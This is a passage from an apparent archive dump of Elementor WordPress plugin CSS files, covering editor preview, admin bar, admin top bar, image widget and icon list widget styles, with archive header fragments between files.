.e-preview--show-hidden-elements[data-elementor-device-mode=widescreen] .elementor-edit-area-active .elementor-hidden-widescreen.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=desktop] .elementor-edit-area-active .elementor-hidden-desktop.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=laptop] .elementor-edit-area-active .elementor-hidden-laptop.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet_extra] .elementor-edit-area-active .elementor-hidden-tablet_extra.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=tablet] .elementor-edit-area-active .elementor-hidden-tablet.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile_extra] .elementor-edit-area-active .elementor-hidden-mobile_extra.elementor-edit-hidden, .e-preview--show-hidden-elements[data-elementor-device-mode=mobile] .elementor-edit-area-active .elementor-hidden-mobile.elementor-edit-hidden { display: none; } .elementor-editor-section-settings, .elementor-editor-container-settings { height: 24px; top: 1px; left: 50%; transform: translateX(-50%) translateY(-100%); background-color: var(--e-p-border-section); border-start-start-radius: 5px; border-start-end-radius: 5px; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-editor-section-settings i.eicon-handle, .elementor-editor-container-settings i.eicon-handle { font-size: 16px; } .elementor-editor-section-settings .elementor-editor-element-setting:hover, .elementor-editor-container-settings .elementor-editor-element-setting:hover { background-color: var(--e-p-border-section-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:first-child, .elementor-editor-container-settings .elementor-editor-element-setting:first-child { border-start-start-radius: 5px; border-start-end-radius: 0; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-editor-section-settings .elementor-editor-element-setting:first-child:before, .elementor-editor-container-settings .elementor-editor-element-setting:first-child:before { content: ""; position: absolute; top: 2px; left: calc(100% - 1px); border-block-start: 22px solid transparent; border-block-end: 0 none transparent; border-inline-start: 0 none transparent; border-inline-end: 12px solid var(--e-p-border-section); transition: var(--e-a-transition-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:first-child:hover:before, .elementor-editor-container-settings .elementor-editor-element-setting:first-child:hover:before { border-inline-end-color: var(--e-p-border-section-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:last-child, .elementor-editor-container-settings .elementor-editor-element-setting:last-child { border-start-start-radius: 0; border-start-end-radius: 5px; border-end-start-radius: 0; border-end-end-radius: 0; } .elementor-editor-section-settings .elementor-editor-element-setting:last-child:after, .elementor-editor-container-settings .elementor-editor-element-setting:last-child:after { content: ""; position: absolute; top: 2px; right: calc(100% - 1px); border-block-start: 22px solid transparent; border-block-end: 0 none transparent; border-inline-start: 12px solid var(--e-p-border-section); border-inline-end: 0 none transparent; transition: var(--e-a-transition-hover); } .elementor-editor-section-settings .elementor-editor-element-setting:last-child:hover:after, .elementor-editor-container-settings .elementor-editor-element-setting:last-child:hover:after { border-inline-start-color: var(--e-p-border-section-hover); } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings { transform: translateX(-50%); border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 5px; border-end-end-radius: 5px; } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child { border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 5px; border-end-end-radius: 0; } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child:before, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:first-child:before { top: 0; border-block-start: 0 none transparent; border-block-end: 22px solid transparent; border-inline-start: 0 none transparent; border-inline-end: 12px solid var(--e-p-border-section); transition: var(--e-a-transition-hover); } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child { border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 0; border-end-end-radius: 5px; } .e-handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child:after, .elementor-section--handles-inside > .elementor-element-overlay > .elementor-editor-element-settings .elementor-editor-element-setting:last-child:after { top: 0; border-block-start: 0 none transparent; border-block-end: 22px solid transparent; border-inline-start: 12px solid var(--e-p-border-section); border-inline-end: 0 none transparent; transition: var(--e-a-transition-hover); } .elementor-column > .elementor-element-overlay { right: 0; bottom: 0; } .elementor-column > .elementor-element-overlay:after { position: absolute; left: 0; right: 0; top: 0; bottom: 0; outline: 1px dashed var(--e-p-border-column); } .elementor-column:hover > .elementor-element-overlay:after { content: ""; } .elementor-column.elementor-element-editable > .elementor-element-overlay:after { content: ""; outline: 2px solid var(--e-p-border-column); } .elementor-column.elementor-dragging-on-child > .elementor-element-overlay { border: 1px solid var(--e-p-draggable-color); } .elementor-column.elementor-dragging-on-child > .elementor-element-overlay:after { display: none; } .elementor-column > .ui-resizable-e, .elementor-column > .ui-resizable-w { cursor: col-resize; width: 7px; position: absolute; left: -5px; top: 0; height: 100%; } .elementor-column:last-of-type > .ui-resizable-e, .elementor-column:last-of-type > .ui-resizable-w { display: none !important; } @media (max-width: 1024px) { .elementor-column > .ui-resizable-e, .elementor-column > .ui-resizable-w { display: none !important; } } .elementor-editor-column-settings { top: -1px; right: -1px; border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 0; border-end-end-radius: 3px; overflow: hidden; } .elementor-editor-column-settings .elementor-editor-element-setting { background-color: var(--e-p-border-column); } .elementor-editor-column-settings .elementor-editor-element-setting:hover { background-color: var(--e-p-border-column-hover); } .elementor-column-placeholder { position: relative; } .elementor-column-placeholder:before, .elementor-column-placeholder:after { content: ""; position: absolute; top: 10px; bottom: 10px; right: 10px; left: 10px; } .elementor-column-placeholder:before { border: 1px solid var(--e-p-border-column); } .elementor-column-placeholder:after { border: 1px dashed var(--e-a-color-white); } .elementor-column-percents-tooltip { position: absolute; display: none; pointer-events: none; top: 50%; transform: translateY(-50%); color: #fff; font-size: 10px; background-color: var(--e-p-border-column); width: 40px; padding: 3.5px 0; text-align: center; z-index: 1; line-height: 1; } .elementor-column-percents-tooltip:after { content: ""; position: absolute; width: 0; height: 0; border: 8.5px solid transparent; top: 0; } .elementor-column-percents-tooltip[data-side=left] { border-radius: 3px 0 0 3px; right: 15px; } .elementor-column-percents-tooltip[data-side=left]:after { left: 100%; border-left-color: var(--e-p-border-column); border-right-width: 0; } .elementor-column-percents-tooltip[data-side=right] { border-radius: 0 3px 3px 0; left: 15px; } .elementor-column-percents-tooltip[data-side=right]:after { right: 100%; border-right-color: var(--e-p-border-column); border-left-width: 0; } .elementor-editor-widget-settings { z-index: 2; top: -1px; left: -1px; flex-direction: row-reverse; border-start-start-radius: 0; border-start-end-radius: 0; border-end-start-radius: 3px; border-end-end-radius: 0; overflow: hidden; } .elementor-editor-widget-settings .elementor-editor-element-setting { background-color: var(--e-p-border-widget); } .elementor-editor-widget-settings .elementor-editor-element-setting:hover { background-color: var(--e-p-border-widget-hover); } .e-widget-pro-promotion .elementor-widget-container { border: 2px dashed var(--e-a-border-color-bold); background-color: var(--e-a-color-white); padding: 20px; } .e-widget-pro-promotion .e-container { max-width: 600px; margin: auto; } .e-widget-pro-promotion .e-badge { border: 1px solid var(--e-a-color-accent); color: var(--e-a-color-accent); background: var(--e-a-color-white); border-radius: 100px; padding: 4px 12px; font-size: 0.8em; } .e-widget-pro-promotion p { margin-block-start: 1em; margin-block-end: 1em; text-align: center; } .e-widget-pro-promotion p img { display: block; margin: 0 auto 20px; } .e-widget-pro-promotion .e-actions { display: flex; justify-content: center; gap: 10px; } .e-widget-pro-promotion .e-btn { font-size: 14px; font-weight: 500; line-height: 1.2; padding: 8px 16px; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg-accent); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } .e-widget-pro-promotion .e-btn:hover, .e-widget-pro-promotion .e-btn:focus { background-color: var(--e-a-btn-bg-accent-hover); color: var(--e-a-btn-color-invert); } .e-widget-pro-promotion .e-btn:active { background-color: var(--e-a-btn-bg-accent-active); } .e-widget-pro-promotion .e-btn.e-btn-txt { background: transparent; color: var(--e-a-color-txt); } .e-widget-pro-promotion .e-btn.e-btn-txt:hover, .e-widget-pro-promotion .e-btn.e-btn-txt:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .elementor-section > .elementor-element-overlay, .e-con > .elementor-element-overlay { right: 0; bottom: 0; } .elementor-section > .elementor-element-overlay:after, .e-con > .elementor-element-overlay:after { position: absolute; left: 1px; right: 1px; top: 1px; bottom: 1px; outline: 1px solid var(--e-p-border-con); animation: section-outline 0.75s; } .elementor-section:hover > .elementor-element-overlay:after, .e-con:hover > .elementor-element-overlay:after { content: ""; } .elementor-section.elementor-element-editable > .elementor-element-overlay:after, .e-con.elementor-element-editable > .elementor-element-overlay:after { content: ""; outline-width: 2px; } .e-con .e-con-inner .e-con > .elementor-element-overlay:after { outline: 1px dashed var(--e-p-border-con-in); } .e-con .e-con-inner .e-con.elementor-element-editable > .elementor-element-overlay:after { outline: 2px solid var(--e-p-border-con-in); } .e-con .elementor-empty-view { position: relative; width: 100%; height: 100%; min-height: 100px; } .e-con .elementor-empty-view .elementor-first-add { width: auto; height: auto; inset: 0; } .e-con:not(.e-grid) .elementor-empty-view { min-height: var(--min-height, 100px); } .e-con.e-grid .elementor-empty-view { min-width: 100px; } .e-con .elementor-widget-placeholder { --size: 10px; --margin-start: calc( -1 * var( --size ) ); --margin-end: calc( -2 * var( --size ) ); flex-shrink: 0; align-self: stretch; z-index: 1; pointer-events: none; } .e-con.e-con--row > .elementor-widget-placeholder, .e-con.e-con--row > .e-con-inner > .elementor-widget-placeholder { position: relative; z-index: 9999; width: var(--size); margin-inline-start: var(--margin-start); height: auto; min-height: 100%; animation-name: dnd-placeholder-widget-vertical; animation-fill-mode: both; } .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > .elementor-widget-placeholder, .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > .e-con-inner > .elementor-widget-placeholder { margin-inline-end: 0; margin-inline-start: calc(var(--margin-start) + var(--margin-end)); } .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > :not(.elementor-element) + .elementor-widget-placeholder, .e-con.e-con--row[data-nesting-level]:not([data-nesting-level="0"]) > .e-con-inner > :not(.elementor-element) + .elementor-widget-placeholder { margin-inline-end: var(--margin-end); margin-inline-start: var(--margin-start); } .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right, .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-right, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-left { position: absolute; width: var(--size); height: 100%; top: 0; animation: grow-in-width 0.15s forwards; } .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-right { right: 0; left: auto; } .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left, .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-left { left: 0; right: auto; } .e-con.e-con--column > .elementor-widget-placeholder, .e-con.e-con--column > .e-con-inner > .elementor-widget-placeholder { height: var(--size); margin-block-start: var(--margin-start); margin-block-end: var(--margin-end); animation-name: dnd-placeholder-widget-horizontal; } .e-con.e-con--column > .elementor-widget-placeholder:nth-last-child(2) { margin-block-start: calc(2 * var(--margin-start)); --margin-end: 0; } .e-con.e-con--column > .e-con-inner > .elementor-widget-placeholder:last-child { --margin-end: 0; } .e-con .elementor-sortable-helper { height: 84px; width: 125px; z-index: -1; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting { position: relative; background-color: var(--e-p-border-con-in); } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:hover, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:hover, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:hover { background-color: var(--e-p-border-con-in-hover); } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add, .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit + .elementor-editor-element-remove, .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:first-child::before, .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:last-child::after, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit + .elementor-editor-element-remove, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:first-child::before, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:last-child::after, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-add, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting.elementor-editor-element-edit + .elementor-editor-element-remove, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:first-child::before, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:last-child::after { display: none; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit), .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit), .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-setting:not(.elementor-editor-element-edit) { margin-inline-start: -25px; z-index: -1; transition: 0.3s all; will-change: margin-inline-start; } .e-con > .e-con > .elementor-element-overlay > .elementor-editor-element-settings:hover > :is(.elementor-editor-element-duplicate, .elementor-editor-element-remove), .e-con-inner > .e-con > .elementor-element-overlay > .elementor-editor-element-settings:hover > :is(.elementor-editor-element-duplicate, .elementor-editor-element-remove), .elementor-widget .e-con > .elementor-element-overlay > .elementor-editor-element-settings:hover > :is(.elementor-editor-element-duplicate, .elementor-editor-element-remove) { margin-inline-start: 0; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-settings, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-settings, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-settings { inset: initial; transform: none; inset-inline-start: 0; top: 0; border-radius: 0; border-end-end-radius: 3px; height: auto; } .e-con > .e-con > .elementor-element-overlay .elementor-editor-element-settings i.eicon-handle::before, .e-con-inner > .e-con > .elementor-element-overlay .elementor-editor-element-settings i.eicon-handle::before, .elementor-widget .e-con > .elementor-element-overlay .elementor-editor-element-settings i.eicon-handle::before { content: "\e9b4"; font-size: 20px; display: block; padding: 2px; } body.rtl .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-right, body.rtl .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-right { left: 0; right: auto; } body.rtl .e-con.e-grid.e-con--row .elementor-widget-placeholder.e-dragging-left, body.rtl .e-con.e-grid.e-con--row > .e-con-inner .elementor-widget-placeholder.e-dragging-left { right: 0; left: auto; } @keyframes dnd-placeholder-widget-vertical { 0% { transform-origin: 0 50%; transform: translateX(50%) scaleX(0); opacity: 0; } 100% { transform-origin: 0 50%; transform: translateX(50%) scaleX(1); opacity: 0.9; } } @keyframes dnd-placeholder-widget-horizontal { 0% { transform-origin: 50% 0; transform: scaleY(0); opacity: 0; } 100% { transform-origin: 50% 0; transform: scaleY(1); opacity: 0.9; } } @keyframes grow-in-width { from { width: 0; } 50% { width: calc(var(--size) / 2); } to { width: var(--size); } } .e-con-select-preset { display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 25px; } .e-con-select-preset[data-view=choose-preset] > *:not(.e-con-select-preset__inner) { display: none; } .e-con-select-preset[data-view=drop-area] > *:not(.elementor-first-add) { display: none; } .e-con-select-preset__title { font-family: var(--e-a-font-family); font-size: 15px; font-weight: 400; color: var(--e-a-color-txt); } .e-con-select-preset__list { display: flex; gap: 20px; align-items: center; justify-content: center; flex-wrap: wrap; max-width: 650px; } .e-con-select-preset__list .e-con-preset { cursor: pointer; flex-basis: 90px; } .e-con-select-preset__list .e-con-preset svg { width: 100%; height: auto; } .e-con-select-preset__list .e-con-preset svg:not(.exclude-rtl-scale) { transform: scaleX(-1); } .e-con-select-preset__list .e-con-preset path { fill: var(--e-a-color-white); } .e-con-select-preset__list .e-con-preset rect { fill: var(--e-a-bg-active-bold); transition: 0.3s all; } .e-con-select-preset__list .e-con-preset:hover rect { fill: var(--e-a-color-txt); } .e-con-select-preset__list .e-con-preset[data-preset=r100] { transform: scaleX(-1); } .e-con-shared-styles { font-family: var(--e-a-font-family); line-height: 1; color: var(--e-a-color-txt); min-height: 159px; overflow: hidden; display: flex; flex-direction: column; align-items: center; justify-content: center; gap: 25px; } .e-con-select-type__title { font-size: 15px; font-weight: 400; } .e-con-select-type__icons { display: flex; justify-content: center; flex-wrap: wrap; gap: 40px; } .e-con-select-type__icons__icon { cursor: pointer; } .e-con-select-type__icons__icon svg { margin-block-end: 10px; width: 85px; } .e-con-select-type__icons__icon svg:hover rect { fill: var(--e-a-color-txt); } .e-con-select-type__icons__icon svg:hover path { stroke: var(--e-a-color-white); } .e-con-select-type__icons__icon__subtitle { font-size: 14px; font-weight: 500; } .e-con-select-preset-grid__title { font-size: 15px; font-weight: 400; } .e-con-select-preset-grid__list { display: flex; justify-content: center; flex-wrap: wrap; gap: 20px; } .e-con-select-preset-grid__list svg { cursor: pointer; } .e-con-select-preset-grid__list svg:hover rect { fill: var(--e-a-color-txt); } .e-con-select-preset-grid__list svg:hover path { stroke: var(--e-a-color-white); } .e-con .ui-resizable-e { right: 0; } .e-con .ui-resizable-w { left: 0; } /*# sourceMappingURL=editor-preview-rtl.css.map */assets/css/admin-bar.min.css000064400000001223147206604650011774 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #wp-admin-bar-elementor_edit_page>.ab-item:before{content:"\e813";font-family:eicons;inset-block-start:3px;font-size:18px}#wp-admin-bar-elementor_edit_page .ab-submenu .ab-item{display:flex;width:200px}#wp-admin-bar-elementor_edit_page .elementor-edit-link-title{white-space:nowrap;text-overflow:ellipsis;overflow:hidden;width:100%}#wp-admin-bar-elementor_edit_page .elementor-edit-link-type{background:#3f444b;font-size:11px;line-height:9px;margin-block-start:6px;padding:4px 8px;border-radius:3px}#wp-admin-bar-elementor_inspector>.ab-item:before{content:"\f348";inset-block-start:2px}#wpadminbar *{font-style:normal}assets/css/admin-top-bar-rtl.css000064400000011046147206604650012615 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #e-dashboard-widget-admin-top-bar { position: absolute; opacity: 0; pointer-events: none; } #e-admin-top-bar-root { left: 0; font-family: var(--e-a-font-family); background: var(--e-a-bg-default); box-shadow: 0 4px 6px rgba(0, 0, 0, 0.03); display: none; position: absolute; top: 0; width: calc(100% - 160px); z-index: 1; } body.folded #e-admin-top-bar-root { width: calc(100% - 36px); } #e-admin-top-bar-root .e-admin-top-bar { display: flex; height: 50px; justify-content: space-between; padding: 0 16px; } #e-admin-top-bar-root .page-title-action { font-size: 12px; font-weight: 500; line-height: 1.2; text-transform: uppercase; text-decoration: none; padding: 8px 16px; outline: none; border: none; border-radius: var(--e-a-border-radius); background-color: var(--e-a-btn-bg); color: var(--e-a-btn-color-invert); transition: var(--e-a-transition-hover); } #e-admin-top-bar-root .page-title-action:hover { background-color: var(--e-a-btn-bg-hover); color: var(--e-a-btn-color-invert); } #e-admin-top-bar-root .e-admin-top-bar__heading { display: inline-flex; align-items: center; justify-content: center; margin-inline-end: 40px; } #e-admin-top-bar-root .e-admin-top-bar__main-area { display: inline-flex; align-items: center; justify-content: center; } #e-admin-top-bar-root .e-admin-top-bar__main-area button { margin: 0 4px; } #e-admin-top-bar-root .e-admin-top-bar__secondary-area { display: inline-flex; align-items: center; justify-content: center; } #e-admin-top-bar-root .e-admin-top-bar__heading-title { color: var(--e-a-color-txt); font-size: 15px; font-weight: 700; padding: 0 8px; line-height: normal; } #e-admin-top-bar-root .e-admin-top-bar__main-area-buttons { display: inline-flex; gap: 5px; } #e-admin-top-bar-root.e-admin-top-bar--active { display: block; } #e-admin-top-bar-root.e-admin-top-bar--active ~ #wpbody #wpbody-content { margin-block-start: 50px; } #e-admin-top-bar-root.e-admin-top-bar--active ~ #wpbody .wrap { clear: both; padding-block-start: 10px; } #e-admin-top-bar-root.e-admin-top-bar--active ~ #wpbody .wrap h1 { display: none; } #e-admin-top-bar-root:not(.e-admin-top-bar--active) ~ #wpbody .wrap h1, #e-admin-top-bar-root:not(.e-admin-top-bar--active) ~ #wpbody .wrap .page-title-action { display: inline-block; } #e-admin-top-bar-root .e-admin-top-bar__bar-button { align-items: center; cursor: pointer; display: inline-flex; justify-content: center; margin: 0 10px; text-decoration: none; color: var(--e-a-color-txt); } #e-admin-top-bar-root .e-admin-top-bar__bar-button.accent { color: var(--e-a-color-accent); } #e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-title, #e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-icon { color: var(--e-a-color-accent); } #e-admin-top-bar-root .e-admin-top-bar__bar-button .crown-icon { font-size: 14px; } #e-admin-top-bar-root .e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-icon { margin: 0 4px; } #e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-title, #e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-icon { color: var(--e-a-color-txt-hover); } #e-admin-top-bar-root .e-admin-top-bar__bar-button-title { font-size: 13px; font-weight: 500; margin: 0 4px; line-height: normal; } #e-admin-top-bar-root ~ #wpbody .wrap h1, #e-admin-top-bar-root ~ #wpbody .wrap .page-title-action { display: none; } @media screen and (max-width: 960px) { #e-admin-top-bar-root { width: calc(100% - 36px); } } @media screen and (max-width: 782px) { #e-admin-top-bar-root { width: 100%; } } @media screen and (max-width: 600px) { #e-admin-top-bar-root { top: 46px; } } @media (max-width: 768px) { #e-admin-top-bar-root { display: inline-flex; align-items: center; justify-content: center; } #e-admin-top-bar-root .e-admin-top-bar__main-area-buttons { position: absolute; top: calc(100% + 10px); } #e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons { display: none; } #e-admin-top-bar-root .e-admin-top-bar__secondary-area > .e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-title { display: none; } } @media (min-width: 768px) { #e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons { display: flex; } } /*# sourceMappingURL=admin-top-bar-rtl.css.map */assets/css/admin-top-bar.min.css000064400000007611147206604650012603 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ #e-dashboard-widget-admin-top-bar{position:absolute;opacity:0;pointer-events:none}#e-admin-top-bar-root{right:0;font-family:var(--e-a-font-family);background:var(--e-a-bg-default);box-shadow:0 4px 6px rgba(0,0,0,.03);display:none;position:absolute;top:0;width:calc(100% - 160px);z-index:1}body.folded #e-admin-top-bar-root{width:calc(100% - 36px)}#e-admin-top-bar-root .e-admin-top-bar{display:flex;height:50px;justify-content:space-between;padding:0 16px}#e-admin-top-bar-root .page-title-action{font-size:12px;font-weight:500;line-height:1.2;text-transform:uppercase;text-decoration:none;padding:8px 16px;outline:none;border:none;border-radius:var(--e-a-border-radius);background-color:var(--e-a-btn-bg);color:var(--e-a-btn-color-invert);transition:var(--e-a-transition-hover)}#e-admin-top-bar-root .page-title-action:hover{background-color:var(--e-a-btn-bg-hover);color:var(--e-a-btn-color-invert)}#e-admin-top-bar-root .e-admin-top-bar__heading{margin-inline-end:40px}#e-admin-top-bar-root .e-admin-top-bar__heading,#e-admin-top-bar-root .e-admin-top-bar__main-area{display:inline-flex;align-items:center;justify-content:center}#e-admin-top-bar-root .e-admin-top-bar__main-area button{margin:0 4px}#e-admin-top-bar-root .e-admin-top-bar__secondary-area{display:inline-flex;align-items:center;justify-content:center}#e-admin-top-bar-root .e-admin-top-bar__heading-title{color:var(--e-a-color-txt);font-size:15px;font-weight:700;padding:0 8px;line-height:normal}#e-admin-top-bar-root .e-admin-top-bar__main-area-buttons{display:inline-flex;gap:5px}#e-admin-top-bar-root.e-admin-top-bar--active{display:block}#e-admin-top-bar-root.e-admin-top-bar--active~#wpbody #wpbody-content{margin-block-start:50px}#e-admin-top-bar-root.e-admin-top-bar--active~#wpbody .wrap{clear:both;padding-block-start:10px}#e-admin-top-bar-root.e-admin-top-bar--active~#wpbody .wrap h1{display:none}#e-admin-top-bar-root:not(.e-admin-top-bar--active)~#wpbody .wrap .page-title-action,#e-admin-top-bar-root:not(.e-admin-top-bar--active)~#wpbody .wrap h1{display:inline-block}#e-admin-top-bar-root .e-admin-top-bar__bar-button{align-items:center;cursor:pointer;display:inline-flex;justify-content:center;margin:0 10px;text-decoration:none;color:var(--e-a-color-txt)}#e-admin-top-bar-root .e-admin-top-bar__bar-button.accent,#e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-icon,#e-admin-top-bar-root .e-admin-top-bar__bar-button.accent:hover .e-admin-top-bar__bar-button-title{color:var(--e-a-color-accent)}#e-admin-top-bar-root .e-admin-top-bar__bar-button .crown-icon{font-size:14px}#e-admin-top-bar-root .e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-icon{margin:0 4px}#e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-icon,#e-admin-top-bar-root .e-admin-top-bar__bar-button:hover .e-admin-top-bar__bar-button-title{color:var(--e-a-color-txt-hover)}#e-admin-top-bar-root .e-admin-top-bar__bar-button-title{font-size:13px;font-weight:500;margin:0 4px;line-height:normal}#e-admin-top-bar-root~#wpbody .wrap .page-title-action,#e-admin-top-bar-root~#wpbody .wrap h1{display:none}@media screen and (max-width:960px){#e-admin-top-bar-root{width:calc(100% - 36px)}}@media screen and (max-width:782px){#e-admin-top-bar-root{width:100%}}@media screen and (max-width:600px){#e-admin-top-bar-root{top:46px}}@media (max-width:768px){#e-admin-top-bar-root{display:inline-flex;align-items:center;justify-content:center}#e-admin-top-bar-root .e-admin-top-bar__main-area-buttons{position:absolute;top:calc(100% + 10px)}#e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons,#e-admin-top-bar-root .e-admin-top-bar__secondary-area>.e-admin-top-bar__bar-button .e-admin-top-bar__bar-button-title{display:none}}@media (min-width:768px){#e-admin-top-bar-root .e-admin-top-bar__secondary-area .e-admin-top-bar__secondary-area-buttons{display:flex}}assets/css/widget-image.min.css000064400000000376147206604650012515 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget-image{text-align:center}.elementor-widget-image a{display:inline-block}.elementor-widget-image a img[src$=".svg"]{width:48px}.elementor-widget-image img{vertical-align:middle;display:inline-block}assets/css/widget-icon-list-rtl.min.css000064400000023310147206604650014124 0ustar00/*! elementor - v3.24.0 - 12-09-2024 */ .elementor-widget.elementor-icon-list--layout-inline .elementor-widget-container{overflow:hidden}.elementor-widget .elementor-icon-list-items.elementor-inline-items{margin-right:-8px;margin-left:-8px}.elementor-widget .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item{margin-right:8px;margin-left:8px}.elementor-widget .elementor-icon-list-items.elementor-inline-items .elementor-icon-list-item:after{width:auto;left:auto;right:auto;position:relative;height:100%;border-top:0;border-bottom:0;border-right:0;border-left-width:1px;border-style:solid;left:-8px}.elementor-widget .elementor-icon-list-items{list-style-type:none;margin:0;padding:0}.elementor-widget .elementor-icon-list-item{margin:0;padding:0;position:relative}.elementor-widget .elementor-icon-list-item:after{position:absolute;bottom:0;width:100%}.elementor-widget .elementor-icon-list-item,.elementor-widget .elementor-icon-list-item a{display:flex;font-size:inherit;align-items:var(--icon-vertical-align,center)}.elementor-widget .elementor-icon-list-icon+.elementor-icon-list-text{align-self:center;padding-inline-start:5px}.elementor-widget .elementor-icon-list-icon{display:flex;position:relative;top:var(--icon-vertical-offset,initial)}.elementor-widget .elementor-icon-list-icon svg{width:var(--e-icon-list-icon-size,1em);height:var(--e-icon-list-icon-size,1em)}.elementor-widget .elementor-icon-list-icon i{width:1.25em;font-size:var(--e-icon-list-icon-size)}.elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon{text-align:var(--e-icon-list-icon-align)}.elementor-widget.elementor-widget-icon-list .elementor-icon-list-icon svg{margin:var(--e-icon-list-icon-margin,0 calc(var(--e-icon-list-icon-size, 1em) * .25) 0 0)}.elementor-widget.elementor-list-item-link-full_width a{width:100%}.elementor-widget.elementor-align-center .elementor-icon-list-item,.elementor-widget.elementor-align-center .elementor-icon-list-item a{justify-content:center}.elementor-widget.elementor-align-center .elementor-icon-list-item:after{margin:auto}.elementor-widget.elementor-align-center .elementor-inline-items{justify-content:center}.elementor-widget.elementor-align-left .elementor-icon-list-item,.elementor-widget.elementor-align-left .elementor-icon-list-item a{justify-content:flex-end;text-align:left}.elementor-widget.elementor-align-left .elementor-inline-items{justify-content:flex-end}.elementor-widget.elementor-align-right .elementor-icon-list-item,.elementor-widget.elementor-align-right .elementor-icon-list-item 